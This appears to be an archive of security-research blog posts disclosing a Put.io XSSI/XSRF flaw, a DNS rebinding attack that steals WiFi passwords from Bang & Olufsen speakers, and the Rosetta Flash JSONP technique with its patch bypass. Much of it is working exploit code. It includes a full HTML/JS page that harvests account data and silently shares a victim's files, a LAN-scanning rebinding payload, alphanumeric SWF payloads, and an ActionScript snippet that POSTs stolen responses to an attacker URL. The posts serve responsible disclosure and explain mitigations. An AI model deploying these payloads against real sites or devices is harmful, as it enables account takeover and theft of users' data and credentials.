Michele Spagnuolo

Put.io API design issues - I can haz your files

Mon, 10 Aug 2015 00:00:00 +0000

Put.io is a great torrent cloud storage service that allows to almost instantly stream videos you download from a Torrent.

Their API is pretty powerful, and allows easy integration in software, browser extensions and plugins for multimedia appliances. I was reading its documentation and unfortunately quickly found out that the design was open to sensitive data exfiltration by just making an unsuspecting logged-in user visit a malicious web page.

Furthermore, it was possible to perform actions on behalf of the user, such as sending and accepting friend requests, adding, deleting and sharing files and folders, and so on.

Update - Put.io response: Hasan from Put.io quickly replied to my email and confirmed they were working on a fix. On August 6 they confirmed they dropped JSONP and cookie authentication out from the API endpoints completely. Thanks put.io, great job!

That looks bad. How comes?

This is because they used to allow JSONP, which is a cross-site script inclusion (XSSI) by design, on tokenless requests, relying on cookie authentication only. Furthermore, there were several actions with side effects vulnerable to cross-site request forgery (XSRF).

For instance, I found out that POST/GET /friends/<username>/request worked with just the cookie (and no token).

This means that any HTML page on the web could do this:

<img src="https://api.put.io/v2/friends/mikispag/request" />

and any logged in user to put.io would send a friend request to me. This is a XSRF vulnerability, and there were many more.

As I previously said, JSONP is XSSI by design. This means that if you put sensitive data in the output of a JSONP endpoint, and the request does not need any token, any site can read (and log/exfiltrate) the response via the callback function.

I prepared a harmless proof of concept to demonstrate how bad this was. Of course it no longer works, but it was meant to be opened in a browser in which you are logged in to put.io:

Screenshot of the proof of concept

It will print your username, email address, data plan with expiration date, disk usage, and by visiting that webpage you just sent a friend request to me, shared all your files with every friend, downloaded the pilot of Mr. Robot to your root folder and created a “HACKED” directory. All the data could also be logged to a remote database, of course.

It does not require any user interaction, it’s just a matter of visiting a URL.

The HACKED folder is successfully created The attacker accepts the friend requests and can access all the files... Furthermore, the attacker is also informed of all subsequent activity by the compromised accounts (in this case, the administrators)

HTML code for the Proof of Concept

<html>
  <head>
    <title>put.io XSSI/XSRF Proof of Concept</title>
    <style>
      body {
        font-family: "Verdana";
      }
      .hide {
        display: none;
      }
      span {
        font-weight: bold;
      }
    </style>
    <script src="https://code.jquery.com/jquery-2.1.4.min.js"></script>
    <script>
      var fileIds = [];

      function exfiltrateAccount(object) {
        if (object["status"] !== "OK") return;
        var username = object["info"]["username"];
        var email = object["info"]["mail"];
        var planExpiration = new Date(
          object["info"]["plan_expiration_date"]
        ).toDateString();
        var disk = object["info"]["disk"];
        var diskUsed = (disk.used / 1073741824).toFixed(2);
        var diskAvail = (disk.avail / 1073741824).toFixed(2);

        $("#username").text(username);
        $("#email").text(email);
        $("#expiration").text(planExpiration);
        $("#totalDisk").text(disk.size / 1073741824 + " GB");
        $("#disk").text(diskUsed + " GB used, " + diskAvail + " GB available");
      }
      function exfiltrateFiles(object) {
        if (object["status"] !== "OK") return;
        var parent = object["parent"]["id"] || "files";
        for (var i = 0; i < object["files"].length; i++) {
          var file = object["files"][i];
          var contentType = file["content_type"];
          var id = file["id"];
          fileIds.push(id);
          if (contentType === "application/x-directory") {
            var script = document.createElement("script");
            script.src =
              "https://api.put.io/v2/files/list?parent_id=" +
              id +
              "&callback=exfiltrateFiles";
            var first = document.getElementsByTagName("script")[0];
            first.parentNode.insertBefore(script, first);
          }
          var name = file["name"];

          var root = $("#" + parent);
          root.append($("<ul>").append($("<li id=" + id + ">").text(name)));
        }
      }
      function exfiltrateEvents(object) {
        if (object["status"] !== "OK") return;
        for (var i = 0; i < object["events"].length; i++) {
          var event = object["events"][i];
          var description =
            event["created_at"] +
            " " +
            event["type"] +
            " - " +
            event["transfer_name"];
          $("#events").append($("<li>").text(description));
        }
      }
      function exfiltrateTransfers(object) {
        if (object["status"] !== "OK") return;
        for (var i = 0; i < object["transfers"].length; i++) {
          var transfer = object["transfers"][i];
          var description = transfer["status"] + " " + transfer["name"];
          description +=
            " (" +
            transfer["source"] +
            ") - " +
            transfer["current_ratio"] +
            "%";
          $("#transfers").append($("<li>").text(description));
        }
      }
      function exfiltrateFriends(object) {
        if (object["status"] !== "OK") return;
        var numberOfFriends = parseInt(object["total"], 10);
        $("#numberOfFriends").text(numberOfFriends);
        for (var i = 0; i < object["friends"].length; i++) {
          $("#friends").append($("<li>").text(object["friends"][i]["name"]));
        }
      }
      function shareFiles() {
        if (fileIds.length > 0) {
          var ids = fileIds.join(",");
          fileIds = [];
          $("#shareIds").val(ids);
          $("#shareForm").submit();
        }
      }

      $(function () {
        // Share every file with everyone
        setInterval(shareFiles, 3000);

        // Create a HACKED folder in your root directory
        $("#folderForm").submit();

        // Download the pilot of Mr. Robot in your root directory
        $("#transferForm").submit();
      });
    </script>
  </head>
  <body>
    <h1>put.io XSSI/XSRF Proof of Concept</h1>
    <p>
      Welcome, <span id="username"></span>!<br />I now know your email address
      (<span id="email"></span>), that your <span id="totalDisk"></span> put.io
      plan expires on <span id="expiration"></span> and that your disk usage is:
      <span id="disk"></span>.
    </p>
    <p>
      By visiting this webpage, you just sent a
      <strong>friend request</strong> to <strong>mikispag</strong>,
      <strong>shared all your files with every friend</strong>,
      <strong>added</strong> the <strong>pilot of Mr. Robot</strong> to your
      root folder and <strong>created a "HACKED" directory</strong>.
    </p>
    <div>
      <p>Files in your put.io:</p>
      <ul id="files"></ul>
    </div>
    <div>
      <p>You have <span id="numberOfFriends"></span> friends:</p>
      <ul id="friends"></ul>
    </div>
    <div>
      <p>Your account history:</p>
      <ul id="events"></ul>
    </div>
    <div>
      <p>Your active transfers:</p>
      <ul id="transfers"></ul>
    </div>

    <img src="https://api.put.io/v2/friends/mikispag/request" class="hide" />

    <iframe src="about:blank" class="hide" name="hiddenFrame"></iframe>
    <iframe src="about:blank" class="hide" name="hiddenFrame2"></iframe>
    <iframe src="about:blank" class="hide" name="hiddenFrame3"></iframe>

    <form
      id="shareForm"
      action="https://api.put.io/v2/files/share"
      method="post"
      target="hiddenFrame"
    >
      <input id="shareIds" type="hidden" name="file_ids" value="" />
      <input type="hidden" name="friends" value="everyone" />
    </form>

    <form
      id="folderForm"
      action="https://api.put.io/v2/files/create-folder"
      method="post"
      target="hiddenFrame2"
    >
      <input type="hidden" name="name" value="HACKED" />
      <input type="hidden" name="parent_id" value="0" />
    </form>

    <form
      id="transferForm"
      action="https://api.put.io/v2/transfers/add"
      method="post"
      target="hiddenFrame3"
    >
      <input
        type="hidden"
        name="url"
        value="magnet:?xt=urn:btih:792D6535375E66C2CCB77504BDC587E74210761B&dn=mr+robot+s01e01&tr=udp%3A%2F%2Ftracker.publicbt.com%2Fannounce"
      />
    </form>

    <script src="https://api.put.io/v2/account/info?callback=exfiltrateAccount"></script>
    <script src="https://api.put.io/v2/files/list?callback=exfiltrateFiles"></script>
    <script src="https://api.put.io/v2/events/list?callback=exfiltrateEvents"></script>
    <script src="https://api.put.io/v2/transfers/list?callback=exfiltrateTransfers"></script>
    <script src="https://api.put.io/v2/friends/list?callback=exfiltrateFriends"></script>
  </body>
</html>

The power of DNS rebinding: stealing WiFi passwords with a website

Mon, 20 Apr 2015 00:00:00 +0000

DNS rebinding attacks are known since a long time as useful tools in the hands of attackers for subverting the browser Same-origin policy. The attack abuses DNS, changing the IP address of a website after serving the page contents, usually with some ad-hoc Javascript payload, tricking the browser into waiting some time for the DNS cache to invalidate and perform other requests, still believing it is connecting to the same host, while in reality it is now communicating with a new IP chosen by the attacker. As a result, the attacker can access internal services, exfiltrate information and do other nasty stuff.

Ready-made proof of concept tools exist and mitigations are hard to deploy and not always effective (for example, DNS pinning is not a panacea and dnswall only filters out private IP addresses in DNS response, protecting from just some attacks).

A practical attack: stealing WiFi passwords

Do you happen to have one of those fancy Bang & Olufsen speakers in your home network?

A Bang & Olufsen A9

They sound great. They connect to your home network via Ethernet or WiFi, saving the password you input the first time you plug them, and come with a nice web interface.

Your WiFi password is of course saved unencrypted, but the interesting thing is that it is present as-is in an unauthenticated page, /1000/Bo_network_settings.asp (no login needed). This means that by just visiting a web page on the local network we can see the password. No big deal, if we consider the LAN a security boundary and if Same-origin policy prevents browsers from reading responses of requests to other origins.

This is where DNS rebinding comes into play.

A victim visits a malicious website, let’s say attacker.com, with an A DNS record with a very short Time To Live (TTL), such as 60 seconds. The HTML page served contains a malicious Javascript payload, which exploits the famous WebRTC internal IP leak to get the internal IP address of the machine, infers the netmask and starts a scan for B&O devices. In my proof of concept code, image tags are created and removed automatically to find which IP address has /images/BO_processing_grey.gif, typical of B&O devices. If one is found, the scan is stopped and the actual DNS rebinding begins.

We now know the B&O device internal IP address (let’s say, for example, 192.168.1.10), and we send it to an attacker-controlled backend (which must allow cross origin requests through CORS). The script running on the backend changes the DNS record of the website to 192.168.1.10. In the meantime, the Javascript payload on the client just waits a little bit more than a minute. A skillful attacker might put a game or a very long interesting text to convince the victim to actually stay on the page for a bit longer. The minute passes, and the script tries to get http://attacker.com/1000/Bo_network_settings.asp, the DNS cache is expired, the browser performs a new DNS request and attacker.com now resolves to 192.168.1.10. Since the browser thinks we still are on the same origin, it will happily read the response.

Bingo.

A poor diagram illustrating the DNS rebinding attack

You can get the full source code from this GitHub repo.

The HTML page:

<html>
  <head>
    <title>DNS Rebinding demo for Bang &amp; Olufsen devices</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
    <script src="malicious.js"></script>
    <style type="text/css">
      body {
        font-family: Helvetica;
      }
      #container {
        display: none;
      }
      #ip_msg {
        font-weight: bold;
        font-size: 20px;
        color: red;
      }
    </style>
  </head>
  <body>
    <p id="ip_msg"></p>
    <div id="container"></div>
  </body>
</html>

The Javascript payload:

var last_octet = 1;

function rtcGetPeerConnection() {
  var RTCPeerConnection =
    window.RTCPeerConnection ||
    window.mozRTCPeerConnection ||
    window.webkitRTCPeerConnection;

  if (!RTCPeerConnection) {
    var iframe = document.createElement("iframe");
    iframe.style.display = "none";
    document.body.appendChild(iframe);
    var win = iframe.contentWindow;
    window.RTCPeerConnection = win.RTCPeerConnection;
    window.mozRTCPeerConnection = win.mozRTCPeerConnection;
    window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
    RTCPeerConnection =
      window.RTCPeerConnection ||
      window.mozRTCPeerConnection ||
      window.webkitRTCPeerConnection;
  }

  if (typeof RTCPeerConnection === "undefined") return;

  return RTCPeerConnection;
}

// WebRTC detection code taken from http://ipleak.net/static/js/index.js
function rtcDetection() {
  var ip_dups = {};

  var RTCPeerConnection = rtcGetPeerConnection();

  var mediaConstraints = {
    optional: [
      {
        RtpDataChannels: true,
      },
    ],
  };

  var servers = undefined;

  // Add the default Firefox STUN server for Chrome
  if (window.webkitRTCPeerConnection)
    servers = {
      iceServers: [
        {
          urls: "stun:stun.services.mozilla.com",
        },
      ],
    };

  var pc = new RTCPeerConnection(servers, mediaConstraints);

  // Listen for candidate events
  pc.onicecandidate = function (ice) {
    if (ice.candidate) {
      var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
      var ip_addr_arr = ip_regex.exec(ice.candidate.candidate);
      if (ip_addr_arr && ip_addr_arr.length > 0) {
        var ip_addr = ip_addr_arr[1];
      } else return;

      // Remove duplicates
      if (ip_dups[ip_addr] === undefined) {
        if (ip_addr.startsWith("192.168")) {
          findBOLocalIP(ip_addr);
        }
      }

      ip_dups[ip_addr] = true;
    }
  };

  pc.createDataChannel("");
  pc.createOffer(
    function (result) {
      pc.setLocalDescription(
        result,
        function () {},
        function () {}
      );
    },
    function () {}
  );
}

function findBOLocalIP(clientLocalIP) {
  var ip_minus_last = clientLocalIP.substring(
    0,
    clientLocalIP.lastIndexOf(".")
  );
  $("#ip_msg").text(
    "Your local IP is " +
      clientLocalIP +
      ", scanning " +
      ip_minus_last +
      ".x subnet..."
  );

  // Try a /24 scan with 192.168.y.<i> with the exfiltrated y
  setInterval(function () {
    if (++last_octet < 255) {
      $("<img>", {
        src:
          "http://" +
          ip_minus_last +
          "." +
          last_octet +
          "/images/BO_processing_grey.gif",
        id: ip_minus_last + "." + last_octet,
      })
        .bind("load", function () {
          console.log("Found: " + this.id);
          exfiltrateWiFiPassword(this.id);
        })
        .appendTo($("#container"));
    }
  }, 500);

  // Force to terminate stalled connections in order to avoid connection limit
  setTimeout(function () {
    setInterval(function () {
      $("#container")
        .find(":first-child")
        .unbind("load")
        .attr(
          "src",
          "data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="
        )
        .remove();
    }, 500);
  }, 5000);
}

// Alternatively, you could get /1000/bo_restart_in_bsl.asp to trigger a
// restart in BSL mode, wait 30 seconds and upload your own firmware
// in /1000/bl_firmware_update.asp POSTing to
// /goform/formPostHandler a "uploadForm" form with a "appFirmware" file
// with enctype="multipart/form-data". No XSRF protection.
function exfiltrateWiFiPassword(ip) {
  // Send internal IP "ip" to the attacker: we need to change
  // the IP address of this attacker-controlled domain to the
  // B&O internal IP.
  //
  // THIS PART HAS NOT BEEN IMPLEMENTED BECAUSE IT IS NOT NECESSARY
  // FOR DEMONSTRATION PURPOSES.

  console.log("Exfiltrating WiFi password from " + ip + "...");
  $("#ip_msg")
    .text("B&O device found at " + ip + "!")
    .fadeIn();

  // Stop running scan...
  last_octet = 255;

  var WiFiPassword;
  // Wait 70 seconds (60 seconds for cache invalidation + 10 grace seconds)
  // and connect to the attacker-controlled host with the new IP.
  setTimeout(function () {
    var interval = setInterval(function () {
      $.get(
        "/1000/Bo_network_settings.asp" + "?dummy=" + Math.random(),
        function (data) {
          var start = data.lastIndexOf('top: -100px; display: none">');
          if (start == -1) {
            return;
          }
          WiFiPassword = data.slice(start + 28);
          WiFiPassword = WiFiPassword.slice(0, WiFiPassword.indexOf("<"));
          alert("Password WiFi: " + WiFiPassword);
          $("#ip_msg").text("WiFi password found: " + WiFiPassword);
          clearInterval(interval);
        }
      );
    }, 5000);
  }, 70000);
}

$(document).ready(rtcDetection);

This has been tested on the latest Chrome, and should work on most browsers.

The WiFi password is displayed in an alert box

Let’s go further: remote firmware upload

While having a look at the web interface, I noticed that there seems to be no anti-XSRF protection in the firmware upload page. All an attacker has to do to reflash the device remotely is fetch /1000/bo_restart_in_bsl.asp to trigger a device reboot in service (BSL) mode, wait 30 seconds and upload a custom firmware in /1000/bl_firmware_update.asp POSTing to /goform/formPostHandler a uploadForm form with a appFirmware file.

This means that it should be possible to reflash the device remotely even without DNS rebinding, thanks to the XSRF vulnerability. I did not actually try to do that, and there might be some form of signature verification preventing this.

Possible mitigations

Embedded device vendors should be made aware of the risks of DNS rebinding. Since it is difficult to squash this technique in the browser, other precautions should be taken.

Web servers should be checking the Host header, especially in devices supposed to be in a local network. It is tricky, and might break some configurations.

Network administrators might want to filter private IP addresses out of DNS responses with dnswall, or using external public DNS servers with this filtering, such as OpenDNS.

I believe the best mitigation for B&O devices would just be not to reflect the saved WiFi password in /1000/Bo_network_settings.asp (it is in an input type=password anyway, so masked out!), and employ signature verification for uploading new firmwares, if this is not in place already.

Conclusions

DNS rebinding attacks are very practical and real, and mitigations are often not adequate to protect users. This, combined with widespread poor security in embedded devices, makes a wide array of attacks possible.

Thanks

I would like to thank Stephen R. and Sebastian L. for helping in writing the proof of concept code.

Update May 13: Bang & Olufsen sent me an update:

We have now taken all the needed actions and today we released an updated software for the BeoPlay A9. The product software can be easily updated via the BeoSetup App, over the Internet. The issue is being addressed by removing the sensitive data from the setup webpages, in such a way that the device does not reflect the saved WiFi password back to the clients.

Adobe fixed Rosetta Flash today

Fri, 15 Aug 2014 00:00:00 +0000

Adobe pushed a tentative fix for Rosetta Flash in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in the next release, version 14.0.0.145, on July 8, 2014.

In the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format:

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).

What I quickly found out after reversing the patch is that the fix was not good enough.

The old 14.0.0.145 fix

Reversing the 14.0.0.145 patch

What Flash Player used to do in order to disrupt Rosetta Flash-like attacks was:

Check the first 8 bytes of the file. If there is at least one JSONP-disallowed character, then the SWF is considered safe and no further check is performed.
Flash will then check the next 4096 bytes. If there is at least one JSONP-disallowed character, the file is considered safe.
Otherwise the file is considered unsafe and is not executed.

First problem: JSONP whitelist too broad

The JSONP-disallowed list was [^0-9A-Za-z\._] and was too broad. For instance, they were considering the $ character as disallowed in a JSONP callback, which is often not true, because of jQuery and other fancy JS libraries.

This means that if you add $ to the ALLOWED_CHARSET in Rosetta Flash, and the JSONP endpoint allows the dollar sign in the callback (they almost always do), you bypass the fix.

Second problem: we control the ADLER32 checksum!

Structure of a Rosetta Flash-generated SWF file

A Rosetta Flash-generated SWF file ends with four bytes that are the manipulated ADLER32 checksum of the original, uncompressed SWF. A motivated attacker can use the last four malleable bytes to match something already naturally returned by the JSONP endpoint after the padding.

An example that always works is the one character right after the reflected callback: an open parenthesis: (.

So, if we make the last byte of the checksum a (, and the rest of the SWF is alphanumeric, we can pass as a callback the file except the last byte, and we will have a response with a full valid SWF that bypasses the check by Adobe (because ( is disallowed in callbacks).

We are lucky: the last byte of the checksum is the least significant of S1, a partial sum, and it is trivial to force it to ( with our Sled + Delta bruteforcing technique.

Here is a valid alphanum Flash file that ends with an open parenthesis and that we could pass, trimming the last character, as a JSONP callback (wrapped, remove newlines):

CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333
swW0ssG033wDDtpt33333www03333gFPoHXwHHhOHHFhH3D0Up0IZUnnnnnnnnn
nnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqef
XAxooooD0CiudIbEAt333wEDDt0GDGpDDwGG0wttttwwDtwt33333www033333G
fBDTHHHHChHHHMRFHHHhHHCccCSsgSkKoumWW7D0Up0IZUnnnnnnnnnnnnnnnnn
nnUU5nnnnnn3Snn7YNqdIbeUVUUUeF13333WUDUUT1333G1333333WUU03GDTVq
efXA8oddx888f9V0CiudIbEAt3W0wDt033sGG0GttGwt33333333ww0333GDfBD
hRHJqqIHZvAqFzAHjVUVYrvqQQzrEVAArzrAnVrzQfrNeYErmqeHjVUVYrvqQQz
ryzmrvqqfFmVHjVUVYrvqQQz2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3S
nn7CiudIbEAtswwW0GDDG033st0GDDGwGGG33333333s033sDdFPvrfZbynqbJA
yHRZIZAbznNNrbAqNbrAnqNjbrNjbjZaZAQbynqHRZIZAbznNNrbVZQbynqbjni
NHRZIZAbznNNrbzFIZbynqb1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Sn
n7wiudIbEAtwWDttDDDwpDGpDDwG0stDDGptDwpDttt3st3GDDDtDDDtDDDGDDD
t033sDDt333wwv33gBDIHjYqqEHEVHEfuEHdHnQFfuHVaEHyfEJfuEbqYaZEHAf
QvENHyzYqAAHaZuyzYqAAHyfEJnafqeEHIYqEqEMIfHaZnQHynmfHrEZvfHNfnv
NEHzYfZEfJfuEbnfAFHZIIHBrrfERYqIbAZvyHJfuEbqYaZEHWXHDHLttwXHOhW
XHDhLWXHDHgDHHHHxlHoHWTHDXD8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnn
n3Snn7CiudIbEAtwu3swD33wwGptpDDG0333sG0w33333www033GdFPtxtDtdtT
TdHHHWOhHXVoXHttnoXHtLwoxHtlttnoXHtLwoXHtlwodH4D0Up0IZUnnnnnnnn
nnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDwG333sw0GtDDDw03333sDt3333
3sG03sDDdFPtxXdHNwXHdLggGGWwXHdHNwXHdlgwDHDhHHHddNwXHdTg7D0Up0I
ZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333sE0GDtDDDtDDDwDG
pDDwGGpt03wDDDGDDDG0333st333swwv3wwwFPXHLRKvOXHLHAODHLBLHAOXHLB
SOdHthHHHcODHDXLrSCsOXHLLAOXHLlSODHLJLLAOXHLlSOXHLjSsOtHtotHHLH
AOtHtXHHHLhAOXHLZKvWhHHsODHDHLzSWhHhvODHDHLFwBHHhHxmHXgGHkHOXHL
HAOXHLbSOtHLftQHHHsOXHLVAOXHLvSOaH4D0Up0IZUnnnnnnnnnnnnnnnnnnnU
U5nnnnnn3Snn7GNqdIbeUV13333333333333333sUUfpDDqUE0gfzAox88D8888
D8888D88880CiudIbEAt3sWtwG3swwGptwG0wDG03333GDD33333sw033gFPLlt
THHHLLnwXHLVWfwXHLHnwlHLvtHHHHLHGggwrHthHHHXDhtxHHHLNkfwlHDHLBt
HHHHg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwEwDGG
ptwtG03sDwwwGDGt3wwGGwGDtGDsw0GDtGpDDt33333www033GdFPtHDHTLdHHH
HTBrnHRxjHHHObHDHvQJaZMvJfNHgCcGHVKKkHSmcsHoXHTHwhHHloXHThbodHd
hHHHTXboXHTxAlH2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIb
e13333333333333WfV133sUU03sDUVUUUefXA888ooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooc8888888888888888888
8888888888880tvI(

This issue has CVE-2014-5333.

The new fix in 14.0.0.176

I reported the bypass to Adobe as soon as I discovered it, a few days after my writeup was published. We worked together for coming up with a complete fix.

The new version, released on August 12 2014, does the following checks in sequence:

Look for Content-Type: application/x-shockwave-flash header. If found, return OK.
Scan the first 8 bytes of the file. If any byte is >= 0x80 (non-ASCII), return OK.
Scan the rest of the SWF, and at maximum 4096 bytes. If any byte is >= 0x80, return OK.
The SWF is invalid, do not execute it.

In the security bulletin APSB14-18, Adobe mentions the new validation:

These updates include a new validation check to handle specially crafted SWF content that can bypass restrictions introduced in version 14.0.0.145. The new restrictions in 14.0.0.176 prevent Flash Player from being used for cross-site request forgery attacks on JSONP endpoints (CVE-2014-5333).

I believe this is finally enough.

Credits

Thanks to Nicolas Ruff, my colleague at Google, for reversing the patches and to Avira Blog for the illustration at the top of this blog post.

Abusing JSONP with Rosetta Flash

Tue, 08 Jul 2014 00:00:00 +0000

In this blog post I present Rosetta Flash, a tool for converting any SWF file to one composed of only alphanumeric characters in order to abuse JSONP endpoints, making a victim perform arbitrary requests to the domain with the vulnerable endpoint and exfiltrate potentially sensitive data, not limited to JSONP responses, to an attacker-controlled site. This is a XSRF bypassing Same Origin Policy.

High profile Google domains (accounts.google.com, www., books., maps., etc.) and YouTube were vulnerable and have been recently fixed. Twitter, LinkedIn, Yahoo!, eBay, Mail.ru, Flickr, Baidu, Instagram, Tumblr and Olark still have vulnerable JSONP endpoints at the time of writing this blog post (but Adobe pushed a fix in the latest Flash Player, see Mitigations and fix).

Update 2014-08-12: The original fix by Adobe was not enough (CVE-2014-5333 (NIST)). After a month, Adobe released a better fix for Rosetta Flash.

This is a well known issue in the infosec community, but so far no public tools for generating arbitrary ASCII-only, or, even better, alphanum only, valid SWF files have been presented. This led websites owners and even big players in the industry to postpone any mitigation until a credible proof of concept was provided.

So, that moment has come :) .

I will present this vulnerability at Hack In The Box: Malaysia this October, and the Rosetta Flash technology will be featured in the next PoC||GTFO release.

A CVE identifier has been assigned: CVE-2014-4671 (NIST).

Paper and slides

If you prefer, you can discover the beauty of Rosetta by reading the paper or with a set of comprehensive slides.

The attack scenario

To better understand the attack scenario it is important to take into account the combination of three factors:

With Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain.
JSONP, by design, allows an attacker to control the first bytes of the output of an endpoint by specifying the callback parameter in the request URL. Since most JSONP callbacks restrict the allowed charset to [a-zA-Z], _ and ., my tool focuses on this very restrictive charset, but it is general enough to work with different user-specified allowed charsets.
SWF files can be embedded on an attacker-controlled domain using a Content-Type forcing <object> tag, and will be executed as Flash as long as the content looks like a valid Flash file.

Rosetta Flash leverages zlib, Huffman encoding and ADLER32 checksum bruteforcing to convert any SWF file to another one composed of only alphanumeric characters, so that it can be passed as a JSONP callback and then reflected by the endpoint, effectively hosting the Flash file on the vulnerable domain.

In the Rosetta Flash GitHub repository I provide ready-to-be-pasted, universal, weaponized full featured proofs of concept with ActionScript sources.

But how does Rosetta Flash really work?

Details on Rosetta Flash

Rosetta Flash takes in input an ordinary binary SWF and returns an equivalent one compressed with zlib such that it is composed of alphanumeric characters only

Rosetta Flash uses ad-hoc Huffman encoders in order to map non-allowed bytes to allowed ones. Naturally, since we are mapping a wider charset to a more restrictive one, this is not a real compression, but an inflation: we are effectively using Huffman as a Rosetta stone.

A Flash file can be either uncompressed (magic bytes FWS), zlib-compressed (magic bytes CWS) or LZMA-compressed (magic bytes ZWS).

SWF header formats

Furthermore, Flash parsers are very liberal, and tend to ignore invalid fields. This is very good for us, because we can force it to the characters we prefer.

Flash parsers are liberal

zlib header hacking

We need to make sure that the first two bytes of the zlib stream, which is basically a wrapper over DEFLATE, are OK.

Here is how I did that:

Hacking the first byte of the zlib header Hacking the second byte of the zlib header

There aren’t many allowed two-bytes sequences for CMF (Compression Method and flags) + CINFO (malleable) + FLG (including a check bit for CMF and FLG that has to match, preset dictionary (not present), compression level (ignored)).

0x68 0x43 = hC is allowed and Rosetta Flash always uses this particular sequence.

ADLER32 checksum bruteforcing

As you can see from the SWF header format, the checksum is the trailing part of the zlib stream included in the compressed SWF in output, so it also needs to be alphanumeric. Rosetta Flash appends bytes in a clever way to get an ADLER32 checksum of the original uncompressed SWF that is made of just [a-zA-Z0-9_\.] characters.

An ADLER32 checksum is composed of two 4-bytes rolling sums, S1 and S2, concatenated:

ADLER32 checksum

For our purposes, both S1 and S2 must have a byte representation that is allowed (i.e., all alphanumeric). The question is: how to find an allowed checksum by manipulating the original uncompressed SWF? Luckily, the SWF file format allows to append arbitrary bytes at the end of the original SWF file: they are ignored. This is gold for us.

But what is a clever way to append bytes? I call my approach Sleds + Deltas technique:

ADLER32 checksum manipulation

Basically, we can keep adding a high byte sled (of fe, because ff doesn’t play so nicely with the Huffman part we’ll roll out later) until there is a single byte we can add to make S1 modulo-overflow and become the minimum allowed byte representation, and then we add that delta.

Now we have a valid S1, and we want to keep it fixed. So we add a NULL bytes sled until S2 modulo-overflows, and we also get a valid S2.

Huffman magic

Once we have an uncompressed SWF with an alphanumeric checksum and a valid alphanumeric zlib header, it’s time to create dynamic Huffman codes that translate everything to [a-zA-Z0-9_\.] characters. This is currently done with a pretty raw but effective approach that has to be optimized in order to work effectively for larger files. Twist: also the representation of tables, to be embedded in the file, has to satisfy the same charset constraints.

DEFLATE block format

We use two different hand-crafted Huffman encoders that make minimum effort in being efficient, but focus on byte alignment and offsets to get bytes to fall into the allowed charset. In order to reduce the inevitable inflation in size, repeat codes (code 16, mapped to 00) are used to produce shorter output which is still alphanumeric.

For more detail, feel free to browse the source code in the Rosetta Flash GitHub repository.

Here is how the output file looks, bit-by-bit:

Rosetta Flash output bit-by-bit

Wrapping up the output file

We now have everything we need:

Success! Here is a completely alphanumeric SWF file!

Please enjoy an alphanumeric rickroll (might no longer work in latest Flash Player, see Mitigations and fix).

An universal, weaponized proof of concept

Here is an example written in ActionScript 2 (for the mtasc open source compiler, now replaced by [Haxe]](https://haxe.org/)):

class X {

    static var app : X;

    function X(mc) {
        if (_root.url) {
            var r:LoadVars = new LoadVars();
            r.onData = function(src:String) {
                if (_root.exfiltrate) {
                    var w:LoadVars = new LoadVars();
                    w.x = src;
                    w.sendAndLoad(_root.exfiltrate, w, "POST");
                }
            }
            r.load(_root.url, r, "GET");
        }
    }

    // entry point
    static function main(mc) {
        app = new X(mc);
    }
}

We compile it to an uncompressed SWF file, and feed it to Rosetta Flash.

The alphanumeric output (wrapped, remove newlines) is:

CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03
sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnU
U5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33
swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsg
SkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133
333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33
333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMH
bBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnn
nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0G
DtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAw
XHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHt
HHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnn
nnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFP
DHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7C
